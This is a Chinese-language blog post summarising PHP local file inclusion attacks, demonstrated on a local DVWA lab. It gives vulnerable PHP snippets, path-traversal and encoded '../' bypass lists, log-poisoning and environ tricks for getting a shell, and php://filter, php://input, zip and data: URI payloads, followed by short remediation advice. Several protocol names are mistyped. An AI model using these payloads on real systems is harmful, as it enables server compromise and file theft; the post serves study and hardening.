Local file contains a summary of the vulnerability

  1. 前言
  2. 正文
    1. 本地文件包含总结

前言

之前整理的忘记发博客了,现在补上

正文

本地文件包含总结

漏洞概述
文件包含是PHP的一个功能,可以包含php文件并运行,或者调用被包含的PHP文件里面的函数。但是由于未对用户可控变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server将特定文件当做php执行,从而导致用户可以获取一定的服务器权限。

漏洞代码如下

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
?> 

攻击手法如下
知道绝对路径下可以直接:

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=I:/phpstudy/PHPTutorial/WWW/dd.txt

kGTTmR.png

不知道绝对路径下你可以这样

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/../../../../../phpstudy/PHPTutorial/WWW/dd.txt

用/../../../../../为相对路径获取
kGTjpD.md.png

log文件getshell:
利用条件:先看看一些指定的日志文件有没有权限读取,如果有的话就可以getshell了

1.通过扫描出的端口判断有哪些log
2.通过web容器得到对应的log文件

有权限读取Apache的log文件或错误log文件,就是error.log我这里用的是error.log
kG7E9S.md.png

在url框写入的内容会被记录到log,那么直接写一句话即可,这里写phpinfo测试

http://127.0.0.1/<?php phpinfo();?> 会被记到log文件,然后通过文件包含log文件即可执行

kG7Nu9.md.png

常见的log文件有

apache的log apache.log error.log
系统运行的log ftp.log ssh.log
其他服务的log

包含session文件
利用条件:session文件路径已知,且其中内容部分可控
php的session文件的保存路径可以在phpinfo的session.save_path看到
kGHdMQ.md.png
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码
好像没多少人成功= =

包含environ
要求:php以cgi方式运行,这样environ才会保持UA头,environ文件存储位置已知,且environ文件可读。
用法:
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含fd
方法过于复杂
参考:shell via LFI - proc/self/environ method

包含上传的文件
要求:知道上传的文件名
例如这里叫xx.jpg
kJ1O1I.png

包含临时文件
php在处理文件上传的时候会先创建一个临时文件
条件竞争漏洞+文件包含漏洞

伪协议的利用
协议:php//filer
要求:无
用法:base64编码读到的内容,php://filter/convert.base64-encode/resource=文件路径

php://filter/convert.base64-encode/resource=被包含的文件路径
例如http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/../../../../../Apache/logs/error.log

kGHp2F.md.png

协议:php://input
要求:allow_url_include=On,对allow_url_fopen不做要求
用法:在存在包含漏洞的请求变量输入php://input 然后用burp抓包,添加你要执行的代码
kJl9r8.md.png

kJQ481.png

协议:php://phar或者zip://
要求:php版本等于大于5.3.0
用法:创建一个压缩包,然后里面添加个txt,txt里面是php代码。然后在存在包含漏洞的请求变量输入php://rar/压缩包名/压缩包里面的txt
注意:windows下必须得知道绝对路径才能使用此协议,而Linux下可以使用相对路径
kJlnMV.md.png

kJlRL8.png

kJlqyV.png

data:URI schema

协议名:dataURl schema
要求:php版本大于等于php5.2,allow_url_fopen = On,allow_url_include = On
用法:在存在包含漏洞的请求参数,输入data:text/plain,<?php 代码 ?>
kJ1AeO.png

执行命令
kJ1EwD.png

以bas64的方式来执行
data:text/plain;base64,base64编码的代码
kJ1mYd.png

绕过过滤
指定前缀

<?php
if(isset($_GET['file'])){
    include 'I:\phpstudy\PHPTutorial\WWW'.$_GET['file'];
}
?>

绕过方式:
使用相对路径

http://127.0.0.1/bh.php?file=/../../../../../1.txt

路径结合起来就是:I:\phpstudy\PHPTutorial\WWW/../../../../../1.txt
1txt在I盘根目录,内容是

16022d6f9581b14aabd64f1476e6bd1a8e119a3a

kJ81Ig.png

包含如下:
kJ88iQ.png

过滤../
绕过方式:编码绕过

../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
二次编码
../
%252e%252e%252f
..\
%252e%252e%255c

指定后缀

<?php
if(isset($_GET['file'])){
    include $_GET['file'].'dd.txt';
}
?>

远程文件包含漏洞+?或#绕过
kJGlOx.png

kJG3m6.png

利用zip协议
注意:这里要用绝对路径,注意压缩包里面的路径
拼接后的路径是I:\phpstudy\PHPTutorial\WWW\demo.zip#dd.txt
导致能够成功绕过
kJJ8vn.png

第二个例子:

<?php
if(isset($_GET['file'])){
    include $_GET['file'].'WWW/dd.txt';
}
?>

kJY9rq.png

kJJzxs.md.png

或者用%00截断,不过有些php版本不行

漏洞修补
设置php.ini里面的allow_url_inclue=Off,allow_url_fopen=off
不要让参数可以控制文件包含,如果非要控制的话。就用str_replace()过滤掉.和/那么
这两个过滤之后利用也不可能成功了。然后在手动给参数加上.

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Local file contains a summary of the vulnerability

本文作者:九世

发布时间:2019-02-06, 23:31:44

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/f915f25f.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录